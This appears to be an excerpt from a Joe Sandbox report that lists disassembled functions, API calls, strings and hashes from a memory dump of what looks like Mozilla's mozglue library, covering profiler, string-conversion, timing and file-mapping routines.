Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

timeline-overview, xrefs: 6C51907A
stack-chart, xrefs: 6C5190B2
timeline-memory, xrefs: 6C519088
timeline-ipc, xrefs: 6C519096
marker-table, xrefs: 6C51906C
marker-chart, xrefs: 6C51905E
name, xrefs: 6C518F16
timeline-fileio, xrefs: 6C5190A4
data, xrefs: 6C5190E8

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

0, xrefs: 6C4FD30A
(null), xrefs: 6C4FC596

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

inf, xrefs: 6C4FC78F
INF, xrefs: 6C4FC794
NAN, xrefs: 6C4FC7AD
nan, xrefs: 6C4FC7A8

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508
kernel32.dll, xrefs: 6C4D34EA

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

MapViewOfFileNuma2, xrefs: 6C4E97B1
NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

